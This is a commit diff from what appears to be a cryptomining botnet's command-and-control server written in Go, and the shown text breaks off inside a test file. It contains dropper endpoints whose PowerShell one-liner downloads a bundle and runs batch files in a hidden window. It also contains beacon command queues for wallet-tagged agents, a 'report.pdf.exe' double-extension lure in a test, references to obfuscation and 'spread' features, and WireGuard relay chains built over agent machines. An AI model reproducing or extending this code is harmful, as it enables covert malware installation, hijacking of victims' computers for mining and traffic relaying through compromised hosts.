fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
41
server/internal/api/agent_ws_limiter.go
Normal file
41
server/internal/api/agent_ws_limiter.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
agentWSRateLimitMax = 30
|
||||
agentWSRateLimitWindow = time.Minute
|
||||
agentWSAuthTimeout = 45 * time.Second
|
||||
)
|
||||
|
||||
type agentWSRateLimiter struct {
|
||||
mu sync.Mutex
|
||||
attempts map[string][]time.Time
|
||||
}
|
||||
|
||||
var agentWSRateLim = agentWSRateLimiter{attempts: make(map[string][]time.Time)}
|
||||
|
||||
func allowAgentWSUpgrade(clientIP string) bool {
|
||||
if clientIP == "" {
|
||||
return true
|
||||
}
|
||||
now := time.Now()
|
||||
cutoff := now.Add(-agentWSRateLimitWindow)
|
||||
agentWSRateLim.mu.Lock()
|
||||
defer agentWSRateLim.mu.Unlock()
|
||||
filtered := agentWSRateLim.attempts[clientIP][:0]
|
||||
for _, t := range agentWSRateLim.attempts[clientIP] {
|
||||
if t.After(cutoff) {
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
if len(filtered) >= agentWSRateLimitMax {
|
||||
agentWSRateLim.attempts[clientIP] = filtered
|
||||
return false
|
||||
}
|
||||
agentWSRateLim.attempts[clientIP] = append(filtered, now)
|
||||
return true
|
||||
}
|
||||
@@ -118,6 +118,7 @@ func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
||||
defer h.mu.Unlock()
|
||||
if entry, ok := h.engines[agentID]; ok {
|
||||
entry.lastUsed = time.Now()
|
||||
h.engines[agentID] = entry
|
||||
return entry.engine
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -52,8 +52,19 @@ func (h *WSHub) initBeaconMaps() {
|
||||
}
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
|
||||
func (h *WSHub) agentExistsInDB(agentID string) bool {
|
||||
if h.db == nil || agentID == "" {
|
||||
return false
|
||||
}
|
||||
_, err := h.db.GetAgent(agentID)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
|
||||
func (h *WSHub) MarkBeaconSeen(agentID string) {
|
||||
if !h.agentExistsInDB(agentID) {
|
||||
return
|
||||
}
|
||||
h.initBeaconMaps()
|
||||
h.beaconMu.Lock()
|
||||
h.beaconLastSeen[agentID] = time.Now()
|
||||
@@ -84,7 +95,7 @@ func (h *WSHub) IsAgentReachable(agentID string) bool {
|
||||
|
||||
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
|
||||
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
|
||||
if !h.isAgentBeaconReachable(agentID) {
|
||||
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
|
||||
return false
|
||||
}
|
||||
cmd := BeaconCommand{Action: action}
|
||||
@@ -188,7 +199,6 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
h.MarkBeaconSeen(agentID)
|
||||
if h.db != nil {
|
||||
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
|
||||
display := req.Hostname
|
||||
@@ -204,6 +214,7 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
}
|
||||
h.MarkBeaconSeen(agentID)
|
||||
h.applyBeaconStats(agentID, req.Stats)
|
||||
cmds := h.dequeueBeaconCommands(agentID)
|
||||
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
|
||||
|
||||
@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.MarkBeaconSeen("ghost-agent")
|
||||
if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
|
||||
t.Fatal("enqueue should fail for unknown agent")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
|
||||
@@ -3,10 +3,12 @@ package api
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// DropperHandler serves the one-liner remote-install endpoints:
|
||||
@@ -17,11 +19,12 @@ import (
|
||||
// GET /install.ps1 — PowerShell one-liner installer (Windows)
|
||||
type DropperHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
publicURLFunc func() string
|
||||
}
|
||||
|
||||
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
|
||||
func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
|
||||
return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
|
||||
}
|
||||
|
||||
func (h *DropperHandler) publicURL() string {
|
||||
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
|
||||
for _, p := range candidates {
|
||||
b, err := h.db.GetLatestBuildForPlatform(p)
|
||||
if err == nil && b != nil {
|
||||
buildPath = b.FilePath
|
||||
buildName = filepath.Base(b.FilePath)
|
||||
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
" $dir = $tmp + '_bundle'" + nl +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
||||
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
|
||||
" foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
|
||||
" $c = Join-Path $dir $name" + nl +
|
||||
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
||||
" }" + nl +
|
||||
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
|
||||
scheme = "https"
|
||||
}
|
||||
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
|
||||
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
|
||||
if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
|
||||
scheme = "https"
|
||||
}
|
||||
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
|
||||
host := r.Header.Get("X-Forwarded-Host")
|
||||
host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
|
||||
if host == "" {
|
||||
host = r.Host
|
||||
}
|
||||
return scheme + "://" + host
|
||||
}
|
||||
|
||||
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
|
||||
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
|
||||
if b == nil {
|
||||
return "", ""
|
||||
}
|
||||
dl := strings.TrimSpace(b.DownloadURL)
|
||||
if dl != "" && strings.Contains(dl, "/artifact/") {
|
||||
parts := strings.Split(dl, "/artifact/")
|
||||
if len(parts) == 2 && parts[1] != "" {
|
||||
artifactName := filepath.Base(parts[1])
|
||||
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
|
||||
if _, err := os.Stat(candidate); err == nil {
|
||||
return candidate, artifactName
|
||||
}
|
||||
}
|
||||
}
|
||||
path = b.FilePath
|
||||
name = strings.TrimSpace(b.FileName)
|
||||
if name == "" && path != "" {
|
||||
name = filepath.Base(path)
|
||||
}
|
||||
return path, name
|
||||
}
|
||||
|
||||
@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
|
||||
return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
|
||||
}
|
||||
|
||||
func TestDetectPlatformQueryParam(t *testing.T) {
|
||||
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDropperResolveBaseFromRequest(t *testing.T) {
|
||||
h := NewDropperHandler(nil, nil)
|
||||
h := NewDropperHandler(nil, "", nil)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
req.Host = "deck.local:8989"
|
||||
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
|
||||
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
|
||||
h, database, dataDir := newTestDropperHandler(t)
|
||||
buildID := "fusion-bundle"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
launcherPath := filepath.Join(buildDir, "report.pdf.exe")
|
||||
bundlePath := filepath.Join(buildDir, "report-package.zip")
|
||||
if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
bundleContent := []byte("zip-bundle-with-payload")
|
||||
if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
|
||||
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != string(bundleContent) {
|
||||
t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
|
||||
t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveDropperArtifact(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
buildID := "bid"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
bundle := filepath.Join(buildDir, "kit.zip")
|
||||
if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
b := &models.BuildRecord{
|
||||
ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
|
||||
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
|
||||
}
|
||||
path, name := resolveDropperArtifact(dataDir, b)
|
||||
if path != bundle || name != "kit.zip" {
|
||||
t.Fatalf("artifact resolve: path=%q name=%q", path, name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServePs1Content(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
||||
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
|
||||
if !strings.Contains(rec.Body.String(), "DownloadFile") {
|
||||
t.Fatal("expected PowerShell download snippet")
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "start.bat") {
|
||||
t.Fatal("expected lowercase start.bat in PS1 launcher list")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
f.xmrPriceMu.Unlock()
|
||||
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
|
||||
usd, err := fetchCoinGeckoXMRPrice()
|
||||
if err != nil {
|
||||
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
|
||||
status := http.StatusServiceUnavailable
|
||||
msg := err.Error()
|
||||
if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
|
||||
status = http.StatusBadGateway
|
||||
}
|
||||
http.Error(w, "price fetch failed: "+msg, status)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||
|
||||
var raw map[string]map[string]float64
|
||||
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
||||
http.Error(w, "price parse failed", http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
usd := raw["monero"]["usd"]
|
||||
|
||||
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
|
||||
f.xmrPriceMu.Lock()
|
||||
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
}
|
||||
|
||||
const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
|
||||
|
||||
func fetchCoinGeckoXMRPrice() (float64, error) {
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
var lastErr error
|
||||
for attempt := 0; attempt < 3; attempt++ {
|
||||
if attempt > 0 {
|
||||
time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
|
||||
}
|
||||
resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
continue
|
||||
}
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
|
||||
lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
|
||||
continue
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
|
||||
}
|
||||
var raw map[string]map[string]float64
|
||||
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
||||
return 0, fmt.Errorf("price parse failed")
|
||||
}
|
||||
return raw["monero"]["usd"], nil
|
||||
}
|
||||
if lastErr != nil {
|
||||
return 0, lastErr
|
||||
}
|
||||
return 0, fmt.Errorf("price fetch failed")
|
||||
}
|
||||
|
||||
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
f.GetEarnings(w, r)
|
||||
|
||||
@@ -387,6 +387,32 @@ func TestFleetGetXMRPriceParseError(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetGetXMRPriceRetriesOn429(t *testing.T) {
|
||||
attempts := 0
|
||||
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
|
||||
attempts++
|
||||
rec := httptest.NewRecorder()
|
||||
if attempts < 2 {
|
||||
rec.WriteHeader(http.StatusTooManyRequests)
|
||||
_, _ = rec.Write([]byte(`{"error":"rate limit"}`))
|
||||
return rec.Result(), nil
|
||||
}
|
||||
rec.Header().Set("Content-Type", "application/json")
|
||||
_, _ = rec.Write([]byte(`{"monero":{"usd":123.45}}`))
|
||||
return rec.Result(), nil
|
||||
})
|
||||
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
rec := httptest.NewRecorder()
|
||||
fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200 after retry, got %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if attempts < 2 {
|
||||
t.Fatalf("expected retry on 429, attempts=%d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetEstimateXMRPerDay(t *testing.T) {
|
||||
zero := EstimateXMRPerDay(0)
|
||||
if zero["xmr_per_day"].(float64) != 0 {
|
||||
|
||||
@@ -58,6 +58,10 @@ func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
|
||||
// GET /api/v1/agents/{id}/stats
|
||||
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if _, err := h.db.GetAgent(id); err != nil {
|
||||
http.Error(w, "Agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
limitStr := r.URL.Query().Get("limit")
|
||||
limit := 100
|
||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||
|
||||
@@ -64,8 +64,8 @@ func TestGetAgentStatsLimitCap(t *testing.T) {
|
||||
r := chi.NewRouter()
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code == http.StatusInternalServerError {
|
||||
t.Fatalf("limit cap caused 500: %s", rec.Body.String())
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("unknown agent should 404, got %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -76,8 +76,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.MkdirAll(webRoot, 0755)
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -57,17 +57,61 @@ type TraceSession struct {
|
||||
clientPubKey string
|
||||
}
|
||||
|
||||
const (
|
||||
pathTraceSessionTTL = 2 * time.Hour
|
||||
pathTraceCleanupInterval = 5 * time.Minute
|
||||
)
|
||||
|
||||
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||
type PathTracerHandler struct {
|
||||
hub *WSHub
|
||||
mu sync.Mutex
|
||||
sessions map[string]*TraceSession
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||
return &PathTracerHandler{
|
||||
h := &PathTracerHandler{
|
||||
hub: hub,
|
||||
sessions: make(map[string]*TraceSession),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
go h.sessionCleanupLoop()
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) sessionCleanupLoop() {
|
||||
ticker := time.NewTicker(pathTraceCleanupInterval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
h.expireSessions()
|
||||
case <-h.stopCh:
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) expireSessions() {
|
||||
now := time.Now()
|
||||
var expired []*TraceSession
|
||||
h.mu.Lock()
|
||||
for id, sess := range h.sessions {
|
||||
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
|
||||
expired = append(expired, sess)
|
||||
delete(h.sessions, id)
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
for _, sess := range expired {
|
||||
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
if p == 0 {
|
||||
p = 51820
|
||||
}
|
||||
// If UPnP failed, fall back to the IP the server saw.
|
||||
// If UPnP failed, fall back to the agent's last known IP in the DB.
|
||||
ip := res.ExternalIP
|
||||
if ip == "" {
|
||||
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
||||
ip = hop.ExternalIP // pre-filled below
|
||||
if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
}
|
||||
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
}
|
||||
|
||||
// Phase 2: send wg_configure to each hop.
|
||||
// Build per-hop configs:
|
||||
// - Last hop: peer = none (it's the exit), just IP forwarding
|
||||
// - Middle hops: peer = next hop
|
||||
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
||||
//
|
||||
// Topology:
|
||||
// - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
|
||||
// - Relay hops also peer forward to the next hop (0.0.0.0/0).
|
||||
// - Middle/exit hops peer back to the previous hop for reverse routing.
|
||||
// The CLIENT config always points to the FIRST hop.
|
||||
|
||||
type cfgResp struct {
|
||||
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
"local_address": hop.LocalAddr,
|
||||
"listen_port": hop.Port,
|
||||
"enable_ip_forwarding": true,
|
||||
}
|
||||
|
||||
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
payload["peers"] = []map[string]interface{}{
|
||||
{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
},
|
||||
}
|
||||
} else {
|
||||
payload["peers"] = []map[string]interface{}{}
|
||||
"peers": buildHopPeers(sess, i),
|
||||
}
|
||||
|
||||
dataJSON, _ := json.Marshal(payload)
|
||||
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
if err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure",
|
||||
"data": string(dataJSON),
|
||||
}),
|
||||
})
|
||||
}); err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "wg_configure")
|
||||
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||
continue
|
||||
}
|
||||
|
||||
go func() {
|
||||
select {
|
||||
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||
var peers []map[string]interface{}
|
||||
|
||||
// Hop 1 is the client entry point — always accept the phone/client tunnel.
|
||||
if i == 0 {
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": sess.clientPubKey,
|
||||
"allowed_ips": "10.66.0.1/32",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
// Forward peer: route outbound traffic to the next hop in the chain.
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
// Reverse peer: return traffic toward the client via the previous hop.
|
||||
if i > 0 {
|
||||
prevHop := sess.Hops[i-1]
|
||||
peers = append(peers, map[string]interface{}{
|
||||
"public_key": prevHop.PublicKey,
|
||||
"allowed_ips": "10.66.0.1/32",
|
||||
"persistent_keepalive": 25,
|
||||
})
|
||||
}
|
||||
|
||||
return peers
|
||||
}
|
||||
|
||||
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||
h.mu.Lock()
|
||||
|
||||
378
server/internal/api/pathtracer_handler_test.go
Normal file
378
server/internal/api/pathtracer_handler_test.go
Normal file
@@ -0,0 +1,378 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
func testTraceSession(hopCount int) *TraceSession {
|
||||
sess := &TraceSession{
|
||||
ID: "sess-test-12345678",
|
||||
clientPubKey: "CLIENT_PUB_KEY_B64",
|
||||
clientPrivKey: "CLIENT_PRIV_KEY_B64",
|
||||
}
|
||||
for i := 0; i < hopCount; i++ {
|
||||
sess.Hops = append(sess.Hops, &HopInfo{
|
||||
AgentID: fmt.Sprintf("agent-%d", i+1),
|
||||
PublicKey: fmt.Sprintf("HOP%d_PUB", i+1),
|
||||
ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
|
||||
Port: 51820 + i,
|
||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2),
|
||||
Status: HopReady,
|
||||
})
|
||||
}
|
||||
return sess
|
||||
}
|
||||
|
||||
func peerKeys(peers []map[string]interface{}) []string {
|
||||
out := make([]string, 0, len(peers))
|
||||
for _, p := range peers {
|
||||
out = append(out, p["public_key"].(string))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestBuildHopPeersSingleHop(t *testing.T) {
|
||||
sess := testTraceSession(1)
|
||||
peers := buildHopPeers(sess, 0)
|
||||
if len(peers) != 1 {
|
||||
t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
|
||||
}
|
||||
if peers[0]["public_key"] != sess.clientPubKey {
|
||||
t.Fatalf("expected client peer, got %+v", peers[0])
|
||||
}
|
||||
if peers[0]["allowed_ips"] != "10.66.0.1/32" {
|
||||
t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
|
||||
}
|
||||
if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
|
||||
t.Fatal("client peer should not have endpoint")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildHopPeersTwoHop(t *testing.T) {
|
||||
sess := testTraceSession(2)
|
||||
hop1 := buildHopPeers(sess, 0)
|
||||
if len(hop1) != 2 {
|
||||
t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
|
||||
}
|
||||
if peerKeys(hop1)[0] != sess.clientPubKey {
|
||||
t.Fatal("hop1 first peer should be client")
|
||||
}
|
||||
if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
|
||||
t.Fatal("hop1 second peer should be next hop")
|
||||
}
|
||||
|
||||
hop2 := buildHopPeers(sess, 1)
|
||||
if len(hop2) != 1 {
|
||||
t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
|
||||
}
|
||||
if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
|
||||
t.Fatal("exit hop should peer back to hop1")
|
||||
}
|
||||
if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
|
||||
t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildHopPeersThreeHop(t *testing.T) {
|
||||
sess := testTraceSession(3)
|
||||
mid := buildHopPeers(sess, 1)
|
||||
if len(mid) != 2 {
|
||||
t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
|
||||
}
|
||||
keys := peerKeys(mid)
|
||||
